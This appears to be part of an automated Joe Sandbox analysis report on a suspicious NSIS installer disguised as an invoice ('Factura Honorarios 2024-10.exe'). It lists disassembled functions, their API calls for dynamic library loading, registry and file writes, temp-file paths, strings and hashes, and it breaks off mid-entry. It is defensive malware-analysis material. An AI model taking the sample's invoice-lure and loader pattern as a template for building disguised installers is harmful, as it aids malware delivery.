Instruction ID: 3bb9d82cab8560ee02f1719a45e7f61305cf8b7accb1ce145186acec9c03a25a
Opcode Fuzzy Hash: b5652d2671bdba289ad27ff2dbd2e251a3084f56fb371cc4bb45df86323f9214
Instruction Fuzzy Hash: B6F17870D04229CBDF28CFA8C8946ADBBB1FF44305F25816ED856BB281D7785A96CF44

Function 004060E1 Relevance: 4.5, APIs: 3, Instructions: 20libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(?,?,00000020,00403242,00000008), ref: 004060F3
LoadLibraryA.KERNELBASE(?,?,00000020,00403242,00000008), ref: 004060FE
GetProcAddress.KERNEL32(00000000,?), ref: 0040610F

Memory Dump Source

Source File: 00000000.00000002.2288899004.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2288874992.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288921148.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.000000000045F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000472000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000487000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.000000000048D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.000000000048F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000493000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Factura Honorarios 2024-10.jbxd

Similarity

API ID: AddressHandleLibraryLoadModuleProc
String ID:
API String ID: 310444273-0
Opcode ID: 9fd8a9fe8f036a5891475527ba8adc4fecc6861406a6458080dad13fdc4695bd
Instruction ID: aca730e0da059772988c79adabdc3e9a20cb86bb5b3cd76b20d24f00bd9ffcf2
Opcode Fuzzy Hash: 9fd8a9fe8f036a5891475527ba8adc4fecc6861406a6458080dad13fdc4695bd
Instruction Fuzzy Hash: 25E0CD32A081205BD7114B20AD4896773AC9FDD6413050439F905FA181D7B4BC11DFA9

Function 00403AE4 Relevance: 48.3, APIs: 32, Instructions: 345
windowstringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000013), ref: 00403B20
ShowWindow.USER32(?), ref: 00403B3D
DestroyWindow.USER32 ref: 00403B51
SetWindowLongW.USER32(?,00000000,00000000), ref: 00403B6D
GetDlgItem.USER32(?,?), ref: 00403B8E
SendMessageW.USER32(00000000,000000F3,00000000,00000000), ref: 00403BA2
IsWindowEnabled.USER32(00000000), ref: 00403BA9
GetDlgItem.USER32(?,?), ref: 00403C57
GetDlgItem.USER32(?,00000002), ref: 00403C61
SetClassLongW.USER32(?,000000F2,?), ref: 00403C7B
SendMessageW.USER32(0000040F,00000000,?,?), ref: 00403CCC
GetDlgItem.USER32(?,00000003), ref: 00403D72
ShowWindow.USER32(00000000,?), ref: 00403D93
KiUserCallbackDispatcher.NTDLL(?,?), ref: 00403DA5
EnableWindow.USER32(?,?), ref: 00403DC0
GetSystemMenu.USER32(?,00000000,0000F060,?), ref: 00403DD6
EnableMenuItem.USER32(00000000), ref: 00403DDD
SendMessageW.USER32(?,000000F4,00000000,?), ref: 00403DF5
SendMessageW.USER32(?,00000401,00000002,00000000), ref: 00403E08
lstrlenW.KERNEL32(00422698,?,00422698,004281A0), ref: 00403E31
SetWindowTextW.USER32(?,00422698), ref: 00403E45
ShowWindow.USER32(?,0000000A), ref: 00403F79

Memory Dump Source

Source File: 00000000.00000002.2288899004.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2288874992.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288921148.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.000000000045F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000472000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000487000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.000000000048D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.000000000048F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000493000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Factura Honorarios 2024-10.jbxd

Similarity

API ID: Window$Item$MessageSend$Show$EnableLongMenu$CallbackClassDestroyDispatcherEnabledSystemTextUserlstrlen
String ID:
API String ID: 3282139019-0
Opcode ID: b121bc2ed9969a9fb6c21bfc6921f06f0261ed8b33c3b4db69171897c6bfb89c
Instruction ID: d7c36ab4ba1e77d3c514d2e075e7bf05f8385f4f0eed445bed2eaaef7d4a98f3
Opcode Fuzzy Hash: b121bc2ed9969a9fb6c21bfc6921f06f0261ed8b33c3b4db69171897c6bfb89c
Instruction Fuzzy Hash: 71C1AE71A04205ABEB216F61ED45D3B7A7CFB49306F40053EF501B11E1CB79A952DB2E

Function 00402D69 Relevance: 26.4, APIs: 5, Strings: 10, Instructions: 182
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 00402D7A
GetModuleFileNameW.KERNEL32(00000000,C:\Users\user\Desktop\Factura Honorarios 2024-10.exe,00000400,?,?,?,00000000,00403425,?), ref: 00402D96

Part of subcall function 004059E3: GetFileAttributesW.KERNELBASE(00000003,00402DA9,C:\Users\user\Desktop\Factura Honorarios 2024-10.exe,80000000,00000003,?,?,?,00000000,00403425,?), ref: 004059E7
Part of subcall function 004059E3: CreateFileW.KERNELBASE(?,?,?,00000000,?,00000001,00000000,?,?,?,00000000,00403425,?), ref: 00405A09

GetFileSize.KERNEL32(00000000,00000000,00438000,00000000,C:\Users\user\Desktop,C:\Users\user\Desktop,C:\Users\user\Desktop\Factura Honorarios 2024-10.exe,C:\Users\user\Desktop\Factura Honorarios 2024-10.exe,80000000,00000003,?,?,?,00000000,00403425,?), ref: 00402DE2

Strings

P~A, xrefs: 00402DF7
"C:\Users\user\Desktop\Factura Honorarios 2024-10.exe", xrefs: 00402D6F
Null, xrefs: 00402E60
C:\Users\user\AppData\Local\Temp\, xrefs: 00402D73
C:\Users\user\Desktop\Factura Honorarios 2024-10.exe, xrefs: 00402D80, 00402D8F, 00402DA3, 00402DC3
Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author , xrefs: 00402F41
soft, xrefs: 00402E57
Inst, xrefs: 00402E4E
C:\Users\user\Desktop, xrefs: 00402DC4, 00402DC9, 00402DCF
Error launching installer, xrefs: 00402DB9

Memory Dump Source

Source File: 00000000.00000002.2288899004.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2288874992.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288921148.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.000000000045F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000472000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000487000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.000000000048D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.000000000048F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000493000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Factura Honorarios 2024-10.jbxd

Similarity

API ID: File$AttributesCountCreateModuleNameSizeTick
String ID: "C:\Users\user\Desktop\Factura Honorarios 2024-10.exe"$C:\Users\user\AppData\Local\Temp\$C:\Users\user\Desktop$C:\Users\user\Desktop\Factura Honorarios 2024-10.exe$Error launching installer$Inst$Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author $Null$P~A$soft
API String ID: 4283519449-1090856310
Opcode ID: deaa8614282d3ada7b3d30178f8022547566b7f059afc153b6d9a88955226618
Instruction ID: 9a0bc50dc50940ee2abb7c3ced767a556554b68a68c4a60a299fb88064fb1f26
Opcode Fuzzy Hash: deaa8614282d3ada7b3d30178f8022547566b7f059afc153b6d9a88955226618
Instruction Fuzzy Hash: 88512871900205ABDB209F65DE89BAF7BB8EB14358F10403BF904B62D1C7B88D418BAD

Function 00401752 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 145
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrcatW.KERNEL32(00000000,00000000,Call,C:\Program Files (x86)\shaw,?,?,00000031), ref: 00401793
CompareFileTime.KERNEL32(-00000014,?,Call,Call,00000000,00000000,Call,C:\Program Files (x86)\shaw,?,?,00000031), ref: 004017B8

Part of subcall function 00405D77: lstrcpynW.KERNEL32(?,?,00000400,0040326D,004281A0,NSIS Error), ref: 00405D84

Part of subcall function 00405021: lstrlenW.KERNEL32(Skipped: C:\Users\user\AppData\Local\Temp\nsn497A.tmp\System.dll,00000000,0040FE48,00000000,?,?,?,?,?,?,?,?,?,004030DB,00000000,?), ref: 00405059
Part of subcall function 00405021: lstrlenW.KERNEL32(004030DB,Skipped: C:\Users\user\AppData\Local\Temp\nsn497A.tmp\System.dll,00000000,0040FE48,00000000,?,?,?,?,?,?,?,?,?,004030DB,00000000), ref: 00405069
Part of subcall function 00405021: lstrcatW.KERNEL32(Skipped: C:\Users\user\AppData\Local\Temp\nsn497A.tmp\System.dll,004030DB,004030DB,Skipped: C:\Users\user\AppData\Local\Temp\nsn497A.tmp\System.dll,00000000,0040FE48,00000000), ref: 0040507C
Part of subcall function 00405021: SetWindowTextW.USER32(Skipped: C:\Users\user\AppData\Local\Temp\nsn497A.tmp\System.dll,Skipped: C:\Users\user\AppData\Local\Temp\nsn497A.tmp\System.dll), ref: 0040508E
Part of subcall function 00405021: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 004050B4
Part of subcall function 00405021: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 004050CE
Part of subcall function 00405021: SendMessageW.USER32(?,00001013,?,00000000), ref: 004050DC

Strings

C:\Users\user\AppData\Local\Temp\nsn497A.tmp\System.dll, xrefs: 00401818, 00401834
C:\Program Files (x86)\shaw, xrefs: 00401781
C:\Users\user\AppData\Local\Temp\nsn497A.tmp, xrefs: 00401804, 00401822
Call, xrefs: 00401770, 00401779, 00401798, 004017A4, 004017DA, 004017F0, 0040180E, 0040184A, 004018CB, 004018D4, 004018DE, 004018E9

Memory Dump Source

Source File: 00000000.00000002.2288899004.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2288874992.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288921148.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.000000000045F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000472000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000487000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.000000000048D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.000000000048F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000493000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Factura Honorarios 2024-10.jbxd

Similarity

API ID: MessageSend$lstrcatlstrlen$CompareFileTextTimeWindowlstrcpyn
String ID: C:\Program Files (x86)\shaw$C:\Users\user\AppData\Local\Temp\nsn497A.tmp$C:\Users\user\AppData\Local\Temp\nsn497A.tmp\System.dll$Call
API String ID: 1941528284-672600445
Opcode ID: 69be8e2269a1f7a821158fec15adda67e81a6c57227f726c0035925acb367b04
Instruction ID: f5340c52137ac8e05323c68babe13c17cc5cde59bf11d192bd930834dcc8acac
Opcode Fuzzy Hash: 69be8e2269a1f7a821158fec15adda67e81a6c57227f726c0035925acb367b04
Instruction Fuzzy Hash: C6419071900908BACF11BBB5CC46DAF7679EF05368F20863BF425B11E1D73C8A419A6E

Function 00405021 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 72
stringwindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrlenW.KERNEL32(Skipped: C:\Users\user\AppData\Local\Temp\nsn497A.tmp\System.dll,00000000,0040FE48,00000000,?,?,?,?,?,?,?,?,?,004030DB,00000000,?), ref: 00405059
lstrlenW.KERNEL32(004030DB,Skipped: C:\Users\user\AppData\Local\Temp\nsn497A.tmp\System.dll,00000000,0040FE48,00000000,?,?,?,?,?,?,?,?,?,004030DB,00000000), ref: 00405069
lstrcatW.KERNEL32(Skipped: C:\Users\user\AppData\Local\Temp\nsn497A.tmp\System.dll,004030DB,004030DB,Skipped: C:\Users\user\AppData\Local\Temp\nsn497A.tmp\System.dll,00000000,0040FE48,00000000), ref: 0040507C
SetWindowTextW.USER32(Skipped: C:\Users\user\AppData\Local\Temp\nsn497A.tmp\System.dll,Skipped: C:\Users\user\AppData\Local\Temp\nsn497A.tmp\System.dll), ref: 0040508E
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 004050B4
SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 004050CE
SendMessageW.USER32(?,00001013,?,00000000), ref: 004050DC

Strings

Skipped: C:\Users\user\AppData\Local\Temp\nsn497A.tmp\System.dll, xrefs: 00405042, 00405052, 00405058, 0040507B, 00405087

Memory Dump Source

Source File: 00000000.00000002.2288899004.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2288874992.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288921148.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.000000000045F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000472000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000487000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.000000000048D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.000000000048F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000493000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Factura Honorarios 2024-10.jbxd

Similarity

API ID: MessageSend$lstrlen$TextWindowlstrcat
String ID: Skipped: C:\Users\user\AppData\Local\Temp\nsn497A.tmp\System.dll
API String ID: 2531174081-2116978004
Opcode ID: be2a794c2a3455270d4b05c7547fa0c48c28aa5b6759893b99f6518c6e473265
Instruction ID: 72d3c87754a4f2576c1daf3770cdfe6bbb79a9fd4797c08dd841ae8e1e27fedc
Opcode Fuzzy Hash: be2a794c2a3455270d4b05c7547fa0c48c28aa5b6759893b99f6518c6e473265
Instruction Fuzzy Hash: AE219D71900518BBCB219F95DD84ADFBFB9EF45350F14807AF904B62A0C3798A41CFA8

Function 00402FA2 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 166
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 00403003
GetTickCount.KERNEL32 ref: 00403084
MulDiv.KERNEL32(7FFFFFFF,00000064,?), ref: 004030B1
wsprintfW.USER32 ref: 004030C4
WriteFile.KERNELBASE(00000000,00000000,0040FE48,7FFFFFFF,00000000), ref: 004030F3

Strings

... %d%%, xrefs: 004030BE

Memory Dump Source

Source File: 00000000.00000002.2288899004.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2288874992.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288921148.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.000000000045F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000472000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000487000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.000000000048D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.000000000048F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000493000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Factura Honorarios 2024-10.jbxd

Similarity

API ID: CountTick$FileWritewsprintf
String ID: ... %d%%
API String ID: 4209647438-2449383134
Opcode ID: 13d77005233b2c703e88a738dcd56f5575194dca18d803a30cab386bf45fddca
Instruction ID: 2f3b8c8ab01821edfbb7561a0937ed23110cd7788458c70898d592dcb6d42ddc
Opcode Fuzzy Hash: 13d77005233b2c703e88a738dcd56f5575194dca18d803a30cab386bf45fddca
Instruction Fuzzy Hash: 8A516D31900219ABCF10DF65D944AAF7BACAF48756F10413BE910BB2C0D7389E51CBA9

Function 00402331 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 71
registrystringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegCreateKeyExW.KERNELBASE(00000000,00000000,?,?,?,?,?,?,?,00000011,00000002), ref: 0040236F
lstrlenW.KERNEL32(C:\Users\user\AppData\Local\Temp\nsn497A.tmp,00000023,?,?,?,?,?,?,?,00000011,00000002), ref: 0040238F
RegSetValueExW.KERNELBASE(?,?,?,?,C:\Users\user\AppData\Local\Temp\nsn497A.tmp,00000000,?,?,?,?,?,?,?,00000011,00000002), ref: 004023CB
RegCloseKey.ADVAPI32(?,?,?,C:\Users\user\AppData\Local\Temp\nsn497A.tmp,00000000,?,?,?,?,?,?,?,00000011,00000002), ref: 004024AC

Strings

C:\Users\user\AppData\Local\Temp\nsn497A.tmp, xrefs: 00402380, 0040238E, 004023A5, 004023B5, 004023C0

Memory Dump Source

Source File: 00000000.00000002.2288899004.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2288874992.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288921148.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.000000000045F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000472000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000487000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.000000000048D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.000000000048F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000493000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Factura Honorarios 2024-10.jbxd

Similarity

API ID: CloseCreateValuelstrlen
String ID: C:\Users\user\AppData\Local\Temp\nsn497A.tmp
API String ID: 1356686001-2355566114
Opcode ID: 60d0e40a1802c79bda5c7497f46e73a45a695d690e5e4760ff09b179a2f47946
Instruction ID: ff9c26e96d548ba14907c7cf0d775baaea3cd420635c28ab46d49cad89ffe0f3
Opcode Fuzzy Hash: 60d0e40a1802c79bda5c7497f46e73a45a695d690e5e4760ff09b179a2f47946
Instruction Fuzzy Hash: 311181B1A00108BEEB10AFA4DD49EAF777CEB50358F10443AF905B61D0D7B85D409A29

Function 004015B9 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 57
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

